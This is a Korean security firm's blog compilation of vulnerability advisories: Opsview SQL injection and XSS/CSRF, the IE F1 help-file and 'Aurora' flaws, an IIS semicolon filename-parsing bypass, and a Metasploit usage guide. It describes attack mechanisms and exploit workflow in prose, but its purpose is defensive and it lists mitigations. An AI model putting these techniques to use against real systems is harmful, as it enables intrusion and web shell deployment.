A3AID09-xx

위험 등급

최초 발표일

 

문서 작성일

2009.10

벤더

Opsera

현재상태(패치여부)

패치


2. 취약점 내용
1) SQL Injection 취약점에 의한 DBMS의 모든 정보 노출
2) XSS 취약점 및 CSRF Attack에 의한 관리자 권한 획득 가능

3. 대상
- 아래 해당하는 Opsview Enterprise 버전
 2.14.0 to 2.14.5
3.2.0 and 3.2.1
3.4.0
3.5.0

4. 권고 사항
취약점 권고 내용 : https://secure.opsera.com/jira/browse/OPS-874



5. 상세내역
1) SQL Injection 취약점
Host 들의 정보를 확인하는 페이지(Host Group Hierarchy) 의 state 변수에 입력값 검증을 하지 않고 있습니다.
Host 정보 조회 권한이 부여되지 않은 일반 사용자도  SQL Injection 취약점을 이용하여 DBMS의 모든 정보를 확인할 수 있습니다.

취약점을 이용하여 DBMS의 버전정보를 확인하는 화면입니다.



DBMS의 테이블 정보들을 확인하는 화면입니다.



2) XSS(Cross Site Scripting) 취약점(CSRF Attack 가능)
일반 사용자는 "Mass acknowledgements" 기능을 이용하여 코멘트 작성이 가능하였고.  관리자 계정(admin) [Server > Audit Log]에서 저장된 로그를 확인할 수 있습니다. 로그 정보를 확일 할 시에 일반 계정이 작성한 악성 스크립트가 실행됩니다.
악성 서버로 유도가 가능하며, CSRF(Cross Site Request Forgery) Attack 이 가능하여 일반 사용자가 관리자의 권한으로 상승할 수 있습니다.

작성한 글의 로그 정보(Audit Log) 페이지에서 스크립트가 발생하여 세션정보를 노출한 화면입니다.



스크립트가 발생하면서 악성서버로 유도되는 것을 확인할 수 있습니다.



일반 사용자의 권한이 관리자의 권한으로 변경된 것을 확인할 수 있습니다.



※ 현재 ㈜에이쓰리시큐리티에서 테스트 및 분석 중에 있으며, 이 문서는 계속 업데이트될 것입니다. 본 문서는 보안취약점으로 인한 피해를 최소화하는 데 도움이 되고자 작성되었으나, 본 문서에 포함된 대응방안의 유효성이나 기타 예상치 못한 시스템의 오작동 발생에 대하여서는 ㈜에이쓰리시큐리티에서는 일체의 책임을 지지 아니합니다.
저작자 표시 비영리 변경 금지
신고

Microsoft Internet Explorer 의 도움말 (단축키:F1) 파일과 VBScript 상호작용하는 부분에서 취약점이 발생하고 있습니다.

악성 파일(도움말 형식 .hlp)이 설치되고, 단축키 F1 키를 입력하도록 유도하게 된다면 사용자 PC의 시스템 파일이 실행되게 됩니다.

현재 패치가 이루어지지 않았으며, Windows XP 등 영향 받는 소프트웨에서는 단축키 F1키를 누르지 말도록 권고하고 있습니다.

http://www.microsoft.com/technet/security/advisory/981169.mspx

[영향 받는 소프트웨어]
- Microsoft Windows 2000 Service Pack 4
- Windows XP Service Pack 2, Windows XP Service Pack 3, and Windows XP Professional x64 Edition Service Pack 2
- Windows Server 2003 Service Pack 2, Windows Server 2003 with SP2 for Itanium-based Systems, and Windows Server 2003 x64 Edition Service Pack 2

[영향 받지 않는 소프트웨어]

- Windows Vista, Windows Vista Service Pack 1, Windows Vista Service Pack 2, Windows Vista x64 Edition, Windows Vista x64 Edition Service Pack 1, and Windows Vista x64 Edition Service Pack 2
- Windows Server 2008 for 32-bit Systems, Windows Server 2008 for 32-bit Systems Service Pack 2, Windows Server 2008 for Itanium-based Systems, Windows Server 2008 for Itanium-based Systems Service Pack 2, Windows Server 2008 for x64-based Systems, and Windows Server 2008 for x64-based Systems Service Pack 2
- Windows 7 for 32-bit Systems and Windows 7 for x64-based Systems
Windows Server 2008 R2 for x64-based Systems and Windows Server 2008 R2 for Itanium-based Systems



아래는 공격코드를 실행한 상세 내역이며, 자세한 분석내용은 후에 포스팅 하도록 하겠습니다.



악성 서버에 접근하였을 경우 F1키를 입력하도록 유도하는 화면입니다.


F1 키를 입력하였을 때 사용자의 실행 파일(테스트:계산기)가 실행된 화면입니다.



[대응방안]
http://support.microsoft.com/kb/917607/ko


※ 현재 ㈜에이쓰리시큐리티에서 테스트 및 분석 중에 있으며, 이 문서는 계속 업데이트될 것입니다. 본 문서는 보안취약점으로 인한 피해를 최소화하는 데 도움이 되고자 작성되었으나, 본 문서에 포함된 대응방안의 유효성이나 기타 예상치 못한 시스템의 오작동 발생에 대하여서는 ㈜에이쓰리시큐리티에서는 일체의 책임을 지지 아니합니다.

저작자 표시 비영리 변경 금지
신고

Microsoft Internet Explorer "Aurora" Memory Corruption

취약점 보안 권고안

By. bdr@a3sc.co.kr
(A.K.A Dear.Tom)


Ⅰ. 취약점 개요

취약점

Microsoft Internet Explorer "Aurora" Memory Corruption

최초 발표일

2010 1

현재상태(패치여부)

unpached (1월 23일 패치 예정)

구성요소

Windows Internet Explorer

보안 영향

원격 코드 실행

위험도

높음



1. 요약
“Aurora”는 MS Windows Internet Explorer에서 비 정상적인 메모리 참조로 인하여 원격코드가 실행되는 취약점으로 2010년 1월 초 구글, 야후 등의 해외 기업의 공격 사례에 이용되었다는 사실을 통해 알려지기 시작했습니다. 해당 취약점의 공격코드는 현재 인터넷 검색으로 쉽게 획득할 수 있고, 공개되어 있는 취약점 공격 툴로 공격이 가능하므로 취약한 버전을 이용하는 분들에 대한 주의가 요구됩니다. 단, MS의 공식 패치는 2010년 1월 23일 공개 될 예정입니다.

2. 대상 시스템
다음은 MS에서 해당 취약점에 취약한 버전을 공개한 목록입니다.

Microsoft Windows 2000 Service Pack 4
Windows XP Service Pack 2 and Windows XP Service Pack 3
Windows XP Professional x64 Edition Service Pack 2
Windows Server 2003 Service Pack 2
Windows Server 2003 x64 Edition Service Pack 2
Windows Server 2003 with SP2 for Itanium-based Systems
Windows Vista, Windows Vista Service Pack 1, and Windows Vista Service Pack 2
Windows Vista x64 Edition, Windows Vista x64 Edition Service Pack 1, and Windows Vista x64 Edition Service Pack 2
Windows Server 2008 for 32-bit Systems and Windows Server 2008 for 32-bit Systems Service Pack 2
Windows Server 2008 for x64-based Systems and Windows Server 2008 for x64-based Systems Service pack 2
Windows Server 2008 for Itanium-based Systems and Windows Server 2008 for Itanium-based Systems Service Pack 2
Windows 7
Windows 7 for x64-based Systems
Windows Server 2008 R2 for x64-based Systems
Windows Server 2008 R2 for Itanium-based Systems
Internet Explorer 6 Service Pack 1 on Microsoft Windows 2000 Service Pack 4
Internet Explorer 6 for Windows XP Service Pack 2, Windows XP Service Pack 3, and Windows XP Professional x64 Edition Service Pack 2
Internet Explorer 6 for Windows Server 2003 Service Pack 2, Windows Server 2003 with SP2 for Itanium-based Systems, and Windows Server 2003 x64 Edition Service Pack 2
Internet Explorer 7 for Windows XP Service Pack 2 and Windows XP Service Pack 3, and Windows XP Professional x64 Edition Service Pack 2
Internet Explorer 7 for Windows Server 2003 Service Pack 2, Windows Server 2003 with SP2 for Itanium-based Systems, and Windows Server 2003 x64 Edition Service Pack 2
Internet Explorer 7 in Windows Vista, Windows Vista Service Pack 1, Windows Vista Service Pack 2, Windows Vista x64 Edition, Windows Vista x64 Edition Service Pack 1, and Windows Vista x64 Edition Service Pack 2
Internet Explorer 7 in Windows Server 2008 for 32-bit Systems and Windows Server 2008 for 32-bit Systems Service Pack 2
Internet Explorer 7 in Windows Server 2008 for Itanium-based Systems and Windows Server 2008 for Itanium-based Systems Service Pack 2
Internet Explorer 7 in Windows Server 2008 for x64-based Systems and Windows Server 2008 for x64-based Systems Service Pack 2
Internet Explorer 8 for Windows XP Service Pack 2, Windows XP Service Pack 3, and Windows XP Professional x64 Edition Service Pack 2
Internet Explorer 8 for Windows Server 2003 Service Pack 2, and Windows Server 2003 x64 Edition Service Pack 2
Internet Explorer 8 in Windows Vista, Windows Vista Service Pack 1, Windows Vista Service Pack 2, Windows Vista x64 Edition, Windows Vista x64 Edition Service Pack 1, and Windows Vista x64 Edition Service Pack 2
Internet Explorer 8 in Windows Server 2008 for 32-bit Systems and Windows Server 2008 for 32-bit Systems Service Pack 2
Internet Explorer 8 in Windows Server 2008 for x64-based Systems and Windows Server 2008 for x64-based Systems Service Pack 2
Internet Explorer 8 in Windows 7 for 32-bit Systems
Internet Explorer 8 in Windows 7 for x64-based Systems
Internet Explorer 8 in Windows Server 2008 R2 for x64-based Systems
Internet Explorer 8 in Windows Server 2008 R2 for Itanium-based Systems



Ⅱ. 취약점 세부 분석

1. 취약점 내용
이 취약점은 mshtml.dll 에서 CElement::GetDocPtr 메서드(method)가 잘못된 메모리를 참조하여 발생하며, 그 공격원리는 다음과 같습니다.

해당 공격코드는 "document.CreateEventObject()"를 이용하여, 이미지를 불러오거나 링크를 클릭하여 이벤트가 활성화 된 객체를 복사합니다. 그리고 "document.getElementById()"를 사용하여 활성화된 이벤트 공간을 참조한 다음, 어떤 임의의 문자열을 지정하여 그 개체를 파괴합니다. 이렇게 복사된 이벤트 객체는 유효하지는 않지만, 여전히 해당 메모리 공간으로 접근 할 수 있다는 점을 이용한 취약점입니다.

2. 공격 분석
다음은 “Aurora” 공격코드 중 쉘코드를 실행시키기 위한 Heap-spray, 이벤트 객체 복사 및 삭제 등을 하는 코드 부분입니다.

 

다음은 공격코드에서 nop slide에 해당하는 값을 임시로 수정하여 프로그램 흐름을 확인하는 화면입니다. 메모리는 nop slide(“BBBBBBBB”)로 가득 채워지고, 이로인해 EIP는 잘못된 메모리 주소 “BBBBBBBB”를 참조하고 있음을 확인 할 수 있습니다.


다음은 mshtml.dll 에서 비정상적인 메모리 주소로 접근하는 코드 영역(GetDocPtr())을 확인하는 화면입니다.


다음은 해당 취약점을 이용하여 타인의 PC를 장악하는 화면입니다.


3. 위험 분석

MS의 공식 패치가 이루어지지 않은 현재, 해당 취약점의 공격코드는 인터넷 검색으로 쉽게 획득할 수 있고, 공개되어 있는 취약점 공격 툴로 공격이 가능하므로 취약한 버전을 이용하는 사용자 대부분이 위험에 노출되어 있어, 적절한 대책을 적용하지 않은 사용자는 공격자에게 장악당할 수 있습니다.


Ⅲ. 해결 방안

1. DEP 활성화 패치 설치
  URL) http://download.microsoft.com/download/C/A/D/CAD9DFDF-AF35-4712-B876-B2EEA708495C/MicrosoftFixit50285.msi
2. IE 8로 업데이트(DEP 활성화 여부 확인)
3. IE의 보안 수준 강화

  설정) IE 도구 메뉴 -> 인터넷 옵션 -> 보안 탭 -> 사용자 지정 수준 -> “Active Scripting” 항목 ‘확인’ 혹은 ‘사용안함’으로 변경
  주의) 일부 사이트가 올바르게 작동하지 않을 수 있음.
4. 공식 패치 적용(1월 23일 발표 예정)
  URL) http://blogs.technet.com/koalra/archive/2010/01/21/s2010-1.aspx


Ⅳ. 참고자료

[1] Understanding DEP as a mitigation technology part 1 & 2
  URL) http://blogs.technet.com/srd/archive/2009/06/12/understanding-dep-as-a-mitigation-technology-part-1.aspx
  URL) http://blogs.technet.com/srd/archive/2009/06/12/understanding-dep-as-a-mitigation-technology-part-2.aspx
[2] 'Aurora' Exploit Retooled To Bypass Internet Explorer's DEP Security
  URL) http://www.darkreading.com/security/vulnerabilities/showArticle.jhtml?articleID=222301436&cid=RSSfeed_DR_News
[3] Operation “Aurora” Hit Google, Others
  URL) http://siblog.mcafee.com/cto/operation-%e2%80%9caurora%e2%80%9d-hit-google-others/
[4] Microsoft Security Advisory (979352)
  URL) http://www.microsoft.com/technet/security/advisory/979352.mspx
[5] Aurora Exploit 최초 공개
  URL) http://wepawet.iseclab.org/view.php?hash=1aea206aa64ebeabb07237f1e2230d0f&type=js
[6] Microsoft New Internet Explorer 0-day Vulnerability and Targeted Attacks
  URL) http://securitylabs.websense.com/content/Blogs/3530.aspx
[7] The Problem With innerHTML
  URL) http://www.julienlecomte.net/blog/2007/12/38/
 

※ 현재 ㈜에이쓰리시큐리티에서 테스트 및 분석 중에 있으며, 이 문서는 계속 업데이트될 것입니다. 본 문서는 보안취약점으로 인한 피해를 최소화하는 데 도움이 되고자 작성되었으나, 본 문서에 포함된 대응방안의 유효성이나 기타 예상치 못한 시스템의 오작동 발생에 대하여서는 ㈜에이쓰리시큐리티에서는 일체의 책임을 지지 아니합니다.

신고

세미콜론을 이용한 IIS 파일 파싱 우회 취약점

I. 취약점 개요

1. 목 적
2009년 12월 말에 발표된 IIS 파일 파싱 부분에서 발생한 취약점을 소개하기 위해 이 문서를 제작하였습니다. IIS 서버 관리자 및 관련 개발자분들께서는 참조하시기 바랍니다.

2. 위험도
수준 : 상 
이유 : 웹 상에서 임의의 파일 업로드를 이용한 시스템 장악 가능

 
3. 취약 버전
Microsoft Internet Information Services 6.x 이하 버전의 거의 모든 버전에서 취약한 것으로 알려져 있습니다. 처음 발표 시 모든 버전이 취약한 것으로 알려졌지만, 현재는 일부 버전에서는 취약하지 않은 것으로 확인되었습니다. 이 취약점에 대한 보고서에도 'All Version'이라는 부분이 현재에는 삭제되어 있는 것을 확인할 수 있습니다.
OS 별/ IIS 버전 별 취약한 내용은 SecurityFocus(http://www.securityfocus.com/bid/37460)에 상세하게 소개되어 있으니 참고하시기 바랍니다.
테스트는 IIS 5.1과 IIS 6.0에서 이루어졌으며, 테스트가 이루어지지는 않았으나, IIS 7.5와 닷넷 프레임워크에서는 취약하지 않은 것으로 알려져 있습니다.
II. 취약점 상세

1. 설 명
이 취약점은 IIS에서 파일을 파싱하는 과정에서 ";" 부분을 인식하여 앞부분의 확장자를 체크함으로써 발생하는 취약점입니다. 보통 웹 개발자들이 파일 업로드 부분에서 파일 확장자 필터링의 경우 파일명의 제일 끝부분을 체크하는 경우가 많기 때문에 정상적으로 이미지 파일(jpg, gif등)로 인식하지만, 실제 파일을 웹 상에서 열게 되면, ";"부분까지만 인식하여 실행가능한 asp파일로 실행하게 되는 취약점입니다.

2. 위 협
앞에서 이야기한 바와 같이 일반적인 ASP 게시판에서 파일 업로드 부분의 확장자 필터링 루틴을 위의 방법을 이용하여 우회가 가능합니다. 우회가 가능하게 된 경우 공격자에 의해 웹쉘 업로드 및 실행을 통하여 웹 서버 시스템의 권한 획득이 가능하게 됩니다.

3. 버전별 실행여부 확인
해당 취약점에 대해 버전 별(IIS5.1/XP포함, IIS6.0/서버2003포함)로 비교한 것을 캡쳐한 화면입니다.

다음은 XP(SP3)에서 지원하는 IIS 5.1 버전에서 asp 실행여부를 확인하는 장면입니다. 아래는 asp파일을 이용하여 서버의 IIS 버전을 확인하는 화면입니다.

[그림 1] IIS 버전 확인(5.1)

아래와 같이 asp가 실행되지 않고 평문으로 출력하는 것을 확인할 수 있습니다. 이는 asp가 아닌 jpg로 인식하기 때문에 그대로 출력되어 asp가 실행되지 않는다고 할 수 있습니다.

[그림 2] 파일 소스가 텍스트로 출력

다음은 서버 2003 R2 버전의 IIS 6.0 버전에서 테스트한 화면입니다. 아래는 asp 파일을 이용하여 서버의 IIS 버전을 확인하는 화면입니다.

[그림 3] IIS 버전 확인(6.0)

아래와 같이 asp로 실행된 화면을 보여주는 것을 확인할 수 있습니다.

[그림 4] asp로써 파일이 실행된 화면

III. 대응방안 및 참고사이트

1. 대응방안
KrCERT에서 발표한 내용과 발표자의 자료를 기초로 하여 대응방안을 정리하였습니다.

가. 웹 개발자
- 웹 어플리케이션 측에서 업로드 파일명을 랜덤문자열로  치환하여 파일명과 확장자를 임의 지정하도록 해야합니다. 사용자의 입력값을 그대로 파일명으로 사용하지 못하도록 해줍니다.
- 파일명과 확장자에 알파벳과 숫자만 사용하도록 해야합니다.

나. 웹 서버 관리자
- 업로드 디렉토리의 파일 실행권한을 제거해 줍니다.

2. 참고 사이트
신고

Metasploit 기능 분석

취약점 분석/2009년 이후 2010.01.03 19:00 Posted by TEAMCR@K

 
Metasploit 기능 분석
by aramlee@a3security.com(A.K.A InPure)
& bdr@a3security.com(A.K.A DearTom)

I. Metasploit 소개

1. 개  요
Metasploit은 취약점 점검에 편리하도록 익스플로잇을 모아놓은 ruby기반(version 3 이상, 그 이하 버전은 perl 기반)의 오픈소스 프레임워크로, 취약점에 대한 깊이 있는 지식이 없어도 간단하고 쉽게 취약점 점검이 가능합니다.
최근 Metasploit 3.3.3 버전이 발표되었으며(2009.12.23), 최신 버전에서는 다음과 같은 기능이 추가되었습니다.
- 모든 익스플로잇에 해당 익스프로잇을 기본 설정으로 하여 타겟에 실행하였을 경우 위험도를 포함하고 있습니다.
- 검색 명령어에 -r옵션으로 위험도가 가장 작은 모듈을 검색할 수 있습니다. (db_autopwn과 nexpose_scan 에서는 –R 옵션을 사용합니다.)
- The sessions command can now run a single command (-c) or a script (-s) on all open sessions at once.
- Win32 EXE파일이 88k에서 37k로 더 작아졌습니다.

2. 지원하는 운영체제
32bit MS Windows, UNIX(Linux)를 지원합니다.

3. 설치

Metasploit 3.3.3(WIN32)은 아래 URL에서 다운로드합니다.
http://spool.metasploit.com/releases/framework-3.3.3.exe
 

  
설치가 완료되면 시작메뉴 > 모든 프로그램 > Metasploit3의 하위메뉴에서 프로그램을 실행합니다.


4. 인터페이스 소개
1) Metasploit3 GUI (WIN32 3.2-release)
Metasploit3 GUI는 3.2 release버전까지 지원되었습니다. GUI는 로컬에서 응용프로그램으로 동작하며, 몇 번의 버튼 클릭만으로 취약점 점검이 가능합니다.
다음은 Metasploit3 GUI를 실행한 화면입니다.
                                                          [그림 1] Metasploit3 GUI 실행 화면


메인 화면의 메뉴 아래의 검색어 입력란에 특정문자열을 입력한 후 찾기를 클릭하면 관련된 모듈을 검색합니다.
다음은 oracle로 검색하여 그 결과를 캡쳐한 화면입니다.
                                                                      [그림 2] 모듈 검색

검색된 모듈에서 필요한 익스플로잇을 선택하면 아래 창에 설명이 출력되며 이 상태에서 더블클릭을 하거나 우클릭을 하여 실행합니다. 다음 화면은 익스플로잇을 선택한 후 우클릭을 한 화면입니다.
                                                                     [그림 3] 익스플로잇 실행

2) Metasploit3 Web
Metasploit3 Web은 웹 인터페이스로 실행하면 로컬의 55555포트로 동작하며 GUI와 같이 사용이 편리합니다.
다음은 Metasploit3 Web을 실행한 화면입니다.
                                                        [그림 4] Metasploit Web 실행 화면

① Exploits
익스프로잇을 검색하는 메뉴입니다.
                                                              [그림 5] Exploit 검색 초기 화면

                                                                   [그림 6] Exploit 검색 화면

검색결과 중 맨 위의 Apache Win32 Chunked Encoding을 클릭하면 익스플로잇 설명과 타겟을 선택 가능한 창이 열립니다.
                                                                [그림 7] Exploit 설명 및 타겟 설정

익스플로잇에 필요한 정보를 모두 설정한 후Launch Exploit 버튼을 클릭하여 익스플로잇을 실행합니다.

② Auxiliaries
Auxiliaries 모듈을 검색하는 메뉴입니다.
                                                             [그림 8] Auxiliaries 검색

Exploit과 같은 방법으로 검색한 결과에서 특정 모듈을 클릭한 후 모듈 실행에 필요한 정보를 입력하고 Launch Auxiliary 버튼을 클릭합니다.
③ Payloads
Payload를 검색하는 메뉴입니다.
                                                              [그림 9] Payload 검색

Exploit, Auxiliary과 같은 방법으로 검색한 결과에서 특정 모듈을 클릭한 후 모듈 실행에 필요한 정보를 입력하고 Generate 버튼을 클릭합니다.
④ Console
Metasploit의 콘솔창을 여는 메뉴입니다.
                                                                    [그림 10] Console 열기

⑤ Sessions
익스플로잇을 실행하여 생성한 세션 정보를 확인하는 메뉴입니다.
세션 유무에 따라 다음과 같은 화면을 볼 수 있습니다.
                                                              [그림 11] 세션 정보가 없는 경우

                                                            [그림 12] 세션 정보가 있는 경우

⑥ Options
Skin을 변경하는 메뉴입니다.
                                                                          [그림 13] Options

⑦ About
Metasploit Framework Web Console 정보를 확인하는 메뉴입니다.
                                                                          [그림 14] About

3) Metasploit3 Console
Metasploit3을 Console창에서 사용하며, 사용할 모듈의 이름을 정확히 알고 있어야 합니다. 다음은 Console창을 실행한 화면입니다.
                                                   [그림 15] Metasploit Console 실행 화면

5. 사용법
① 모듈 로드
공격에 필요한 모듈을 로드합니다.

② PAYLOAD
공격 후 취할 행동을 결정합니다. (REVERSE 연결 등)

③ 타겟 등 모듈을 실행하는 데 필요한 옵션 입력
Info를 입력하여 모듈을 실행하는 데 필요한 옵션 정보를 확인할 수 있습니다.
옵션을 입력할 때에는 모듈명>set 옵션명 옵션값 을 입력합니다.

④ 실행
Run 또는 exploit 명령을 입력하여 실행합니다.

 
II.  Metasploit 활용방안
** 상세한 공격 내용이 포함되어 있어 악용할 우려가 있으므로 중략하였습니다. **

1. 활용방안

Metasploit 3.3.3 기준(Last updated 2009.12.23)으로 468개의 익스플로잇, 192개의 페이로드, 22개의 인코더, 8개의 NOP, 221개의 AUX가 존재하여 다양한 환경을 구성하여 취약점 점검이 가능합니다. 업데이트도 꾸준히 이루어져 최신 취약점도 점검할 수 있습니다. 이 장에서는 취약점 점검에 필요한 모듈을 추가하는 방법과 업데이트 방법에 대해서 기술하였습니다.

1) Metasploit 구조
Metasploit은 다음과 같은 구조로 되어 있습니다.


UI를 수정하고자 할 때에는 /data/mfweb에서, Module은 /modules에서, 프레임워크의 기능을 확장하고자 할 경우에는 /plugins 에서 변경합니다.

2) Modules
Module은 다음과 같이 다섯가지로 구분합니다. 모듈 파일의 경로는 (설치시 기본 경로 기준) C:\Program Files\Metasploit\Framework3\msf3\modules에 존재합니다.
‘⑤ Auxiliary’는 3.0이상부터 추가된 모듈입니다.

① Payload
익스플로잇이 성공한 후에 타겟 머신에 실행할 코드입니다..
사용하기 위해서는 익스프로잇을 로딩한 후 다음과 같이 입력합니다.

② Exploit
취약점을 이용하여 프레임워크가 임의의 코드를 실행할 수 있게 합니다.
다음과 같이 입력하여 익스플로잇을 사용합니다.

③ Encoder
인코딩하는 모듈로 플랫폼에 따른 다양한 인코딩방식을 지원합니다..

④ Nop
실제로 레지스터 상태나 프로세서 플래그에 영향을 미치지 않으면서 실행을 계속하는 인스트럭션을 생성합니다.

⑤ Auxiliary
익스플로잇으로 분류하기 애매한 모듈. 페이로드나 타겟을 사용하지 않는 스캔, DoS, Directory Inexing 등이 포함되어 있습니다.

3) Update
최신 취약점을 점검하기 위해서 Update를 하여 최신 버전으로 유지해야 합니다.
업데이트는 아래와 같은 방법으로 실행합니다.
시작 > 모든 프로그램 > Metasploit > Online Update
                                                                [그림 17] Metasploit Update

다음은 Update를 실행한 화면입니다.
                                                      [그림 18] Metasploit Update 실행 화면

III.  참고 사이트
- Metasploit 공식 홈페이지는 다음과 같습니다.
- Metasploit 공식 홈페이지 http://www.metasploit.com
- Metasploit 공식 블로그 http://blog.metasploit.com

- Metasploit에 관한 정보는 다음의 문서를 참고하였습니다.
- Metasploit3 아키텍처 분석 by xeraph@nchovy.kr
- BHUSA09-Gates-OracleMetasploit-PAPER by Chris Gates & Mario Ceballos
- BHUSA09-Gates-OracleMetasploit-SLIDES from BLACKHAT 2009
- How_2_use_metasploit_3.0 by rich4rd
- Metasploit_Framework_3 by bluearth in N@R
- Metasploit_Framework_Web_Interface_Tutorial by www.learnsecurityonline.com
- Metasploit_advance_bear_NR by bluearth in N@R
- Metasploit_basic_bear_NR by bluearth in N@R

※ 현재 ㈜에이쓰리시큐리티에서 테스트 및 분석 중에 있으며, 이 문서는 계속 업데이트될 것입니다. 본 문서는 보안취약점으로 인한 피해를 최소화하는 데 도움이 되고자 작성되었으나, 본 문서에 포함된 대응방안의 유효성이나 기타 예상치 못한 시스템의 오작동 발생에 대하여서는 ㈜에이쓰리시큐리티에서는 일체의 책임을 지지 아니합니다.
저작자 표시 비영리 변경 금지
신고


 

티스토리 툴바